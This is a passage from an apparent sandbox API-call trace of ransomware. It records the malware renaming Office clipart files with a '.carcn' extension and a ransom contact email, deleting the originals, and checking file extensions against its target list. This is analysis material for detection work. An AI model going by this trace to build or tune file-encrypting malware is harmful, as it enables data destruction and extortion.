lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.906] GetLastError () returned 0x0 [0307.906] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0307.907] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0307.909] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.909] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.909] SetEndOfFile (hFile=0x398) returned 1 [0307.909] CloseHandle (hObject=0x398) returned 1 [0307.909] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.909] SetEndOfFile (hFile=0x334) returned 1 [0307.910] CloseHandle (hObject=0x334) returned 1 [0307.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0307.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.911] lstrlenW (lpString=".doc") returned 4 [0307.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.911] lstrlenW (lpString=".docx") returned 5 [0307.911] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0307.911] lstrlenW (lpString=".pdf") returned 4 [0307.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.911] lstrlenW (lpString=".xls") returned 4 [0307.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.911] lstrlenW (lpString=".xlsx") returned 5 [0307.911] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0307.912] lstrlenW (lpString=".ppt") returned 4 [0307.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.912] lstrlenW (lpString=".zip") returned 4 [0307.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.912] lstrlenW (lpString=".rar") returned 4 [0307.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.912] lstrlenW (lpString=".bz2") returned 4 [0307.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.912] lstrlenW (lpString=".7z") returned 3 [0307.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.912] lstrlenW (lpString=".dbf") returned 4 [0307.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.912] lstrlenW (lpString=".1cd") returned 4 [0307.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0307.912] lstrlenW (lpString=".jpg") returned 4 [0307.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.920] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0307.921] GetLastError () returned 0x0 [0307.921] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x11b8, lpOverlapped=0x0) returned 1 [0307.937] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x11c0, lpOverlapped=0x0) returned 1 [0307.938] ReadFile (in: hFile=0x334, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.938] WriteFile (in: hFile=0x398, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.938] SetEndOfFile (hFile=0x398) returned 1 [0307.938] CloseHandle (hObject=0x398) returned 1 [0307.939] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.939] SetEndOfFile (hFile=0x334) returned 1 [0307.939] CloseHandle (hObject=0x334) returned 1 [0307.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0307.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0307.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.968] lstrlenW (lpString=".doc") returned 4 [0307.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString=".docx") returned 5 [0307.968] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.968] lstrlenW (lpString=".pdf") returned 4 [0307.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString=".xls") returned 4 [0307.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.968] lstrlenW (lpString=".xlsx") returned 5 [0307.968] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.968] lstrlenW (lpString=".ppt") returned 4 [0307.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.968] lstrlenW (lpString=".zip") returned 4 [0307.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.968] lstrlenW (lpString=".rar") returned 4 [0307.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString=".bz2") returned 4 [0307.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString=".7z") returned 3 [0307.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.968] lstrlenW (lpString=".dbf") returned 4 [0307.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.968] lstrlenW (lpString=".1cd") returned 4 [0307.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF") returned 68 [0307.969] lstrlenW (lpString=".jpg") returned 4 [0307.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0309.313] GetLastError () returned 0x0 [0309.313] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2168, lpOverlapped=0x0) returned 1 [0309.477] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2170, lpOverlapped=0x0) returned 1 [0309.478] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.478] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.478] SetEndOfFile (hFile=0x378) returned 1 [0309.478] CloseHandle (hObject=0x378) returned 1 [0309.478] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.478] SetEndOfFile (hFile=0x394) returned 1 [0309.479] CloseHandle (hObject=0x394) returned 1 [0309.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf")) returned 1 [0309.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.480] lstrlenW (lpString=".doc") returned 4 [0309.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.480] lstrlenW (lpString=".docx") returned 5 [0309.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0309.480] lstrlenW (lpString=".pdf") returned 4 [0309.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.480] lstrlenW (lpString=".xls") returned 4 [0309.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.480] lstrlenW (lpString=".xlsx") returned 5 [0309.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0309.480] lstrlenW (lpString=".ppt") returned 4 [0309.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.480] lstrlenW (lpString=".zip") returned 4 [0309.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.481] lstrlenW (lpString=".rar") returned 4 [0309.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.481] lstrlenW (lpString=".bz2") returned 4 [0309.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.481] lstrlenW (lpString=".7z") returned 3 [0309.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.481] lstrlenW (lpString=".dbf") returned 4 [0309.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.481] lstrlenW (lpString=".1cd") returned 4 [0309.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF") returned 68 [0309.481] lstrlenW (lpString=".jpg") returned 4 [0309.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.481] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.481] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0309.482] GetLastError () returned 0x0 [0309.482] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x99c, lpOverlapped=0x0) returned 1 [0309.634] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x9a0, lpOverlapped=0x0) returned 1 [0309.635] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.635] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.636] SetEndOfFile (hFile=0x378) returned 1 [0309.636] CloseHandle (hObject=0x378) returned 1 [0309.636] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.636] SetEndOfFile (hFile=0x394) returned 1 [0309.637] CloseHandle (hObject=0x394) returned 1 [0309.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.637] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0309.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.638] lstrlenW (lpString=".doc") returned 4 [0309.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.638] lstrlenW (lpString=".docx") returned 5 [0309.638] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0309.638] lstrlenW (lpString=".pdf") returned 4 [0309.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.638] lstrlenW (lpString=".xls") returned 4 [0309.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.638] lstrlenW (lpString=".xlsx") returned 5 [0309.638] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0309.638] lstrlenW (lpString=".ppt") returned 4 [0309.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.639] lstrlenW (lpString=".zip") returned 4 [0309.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.639] lstrlenW (lpString=".rar") returned 4 [0309.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.639] lstrlenW (lpString=".bz2") returned 4 [0309.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.639] lstrlenW (lpString=".7z") returned 3 [0309.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.639] lstrlenW (lpString=".dbf") returned 4 [0309.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.639] lstrlenW (lpString=".1cd") returned 4 [0309.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0309.639] lstrlenW (lpString=".jpg") returned 4 [0309.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.640] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.640] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0309.641] GetLastError () returned 0x0 [0309.641] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0309.808] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0309.809] ReadFile (in: hFile=0x394, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.809] WriteFile (in: hFile=0x378, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.809] SetEndOfFile (hFile=0x378) returned 1 [0309.809] CloseHandle (hObject=0x378) returned 1 [0309.809] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.810] SetEndOfFile (hFile=0x394) returned 1 [0309.810] CloseHandle (hObject=0x394) returned 1 [0309.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0309.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0309.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.811] lstrlenW (lpString=".doc") returned 4 [0309.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.811] lstrlenW (lpString=".docx") returned 5 [0309.811] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0309.811] lstrlenW (lpString=".pdf") returned 4 [0309.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.811] lstrlenW (lpString=".xls") returned 4 [0309.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.811] lstrlenW (lpString=".xlsx") returned 5 [0309.811] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0309.812] lstrlenW (lpString=".ppt") returned 4 [0309.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.812] lstrlenW (lpString=".zip") returned 4 [0309.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.812] lstrlenW (lpString=".rar") returned 4 [0309.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.812] lstrlenW (lpString=".bz2") returned 4 [0309.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.812] lstrlenW (lpString=".7z") returned 3 [0309.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.812] lstrlenW (lpString=".dbf") returned 4 [0309.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.812] lstrlenW (lpString=".1cd") returned 4 [0309.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0309.812] lstrlenW (lpString=".jpg") returned 4 [0309.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.104] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.104] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0310.105] GetLastError () returned 0x0 [0310.105] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x2a64, lpOverlapped=0x0) returned 1 [0310.134] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x2a70, lpOverlapped=0x0) returned 1 [0310.150] ReadFile (in: hFile=0x388, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0310.150] WriteFile (in: hFile=0x374, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0310.150] SetEndOfFile (hFile=0x374) returned 1 [0310.153] CloseHandle (hObject=0x374) returned 1 [0310.153] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0310.153] SetEndOfFile (hFile=0x388) returned 1 [0310.154] CloseHandle (hObject=0x388) returned 1 [0310.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0310.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF") returned 68 [0310.156] lstrlenW (lpString="C:\\Program Files\\Microsoft 